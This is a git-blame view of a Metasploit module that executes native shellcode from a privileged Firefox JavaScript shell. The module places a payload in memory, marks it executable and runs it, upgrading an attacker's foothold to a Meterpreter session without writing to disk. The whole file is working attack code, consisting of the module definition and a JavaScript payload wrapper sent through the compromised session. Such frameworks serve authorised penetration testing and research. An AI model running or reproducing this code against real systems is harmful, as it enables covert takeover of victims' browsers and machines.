Files
metasploit-gs/modules/exploits/firefox/local/exec_shellcode.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

69 lines
2.0 KiB
Ruby
Raw Normal View History

2014-02-17 15:31:45 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-02-17 15:31:45 -06:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
2017-04-02 18:33:46 -04:00
Rank = ExcellentRanking # Missing autodetection, but has widespread targetability
2014-02-17 15:31:45 -06:00
include Msf::Payload::Firefox
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
2014-02-17 15:31:45 -06:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Firefox Exec Shellcode from Privileged Javascript Shell',
'Description' => %q{
This module allows execution of native payloads from a privileged Firefox Javascript shell.
It places the specified payload into memory, adds the necessary protection flags,
and calls it, which can be useful for upgrading a Firefox javascript shell to a Meterpreter
session without touching the disk.
},
'License' => MSF_LICENSE,
'Author' => [ 'joev' ],
'Platform' => [ 'firefox' ],
'DisclosureDate' => '2014-03-10',
'Targets' => [
[
'Native Payload', {
'Platform' => %w[linux osx win unix],
'Arch' => ARCH_ALL
}
]
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ]
},
'DefaultTarget' => 0
)
)
2014-02-17 15:31:45 -06:00
register_options([
OptInt.new('TIMEOUT', [true, 'Maximum time (seconds) to wait for a response', 90])
])
2014-02-17 15:31:45 -06:00
end
def exploit
print_status('Running the JavaScript shell...')
2014-02-17 15:31:45 -06:00
session.shell_write("[JAVASCRIPT]#{js_payload}[/JAVASCRIPT]")
results = session.shell_read_until_token('[!JAVASCRIPT]', 0, datastore['TIMEOUT'])
2014-02-17 15:31:45 -06:00
print_warning(results) if results.present?
end
def js_payload
%|
2014-02-17 15:31:45 -06:00
(function(send){
try {
2014-02-19 02:31:22 -06:00
#{run_payload}
2014-02-17 15:31:45 -06:00
send("Payload executed.");
} catch (e) {
send(e);
}
})(send);
|.strip
end
end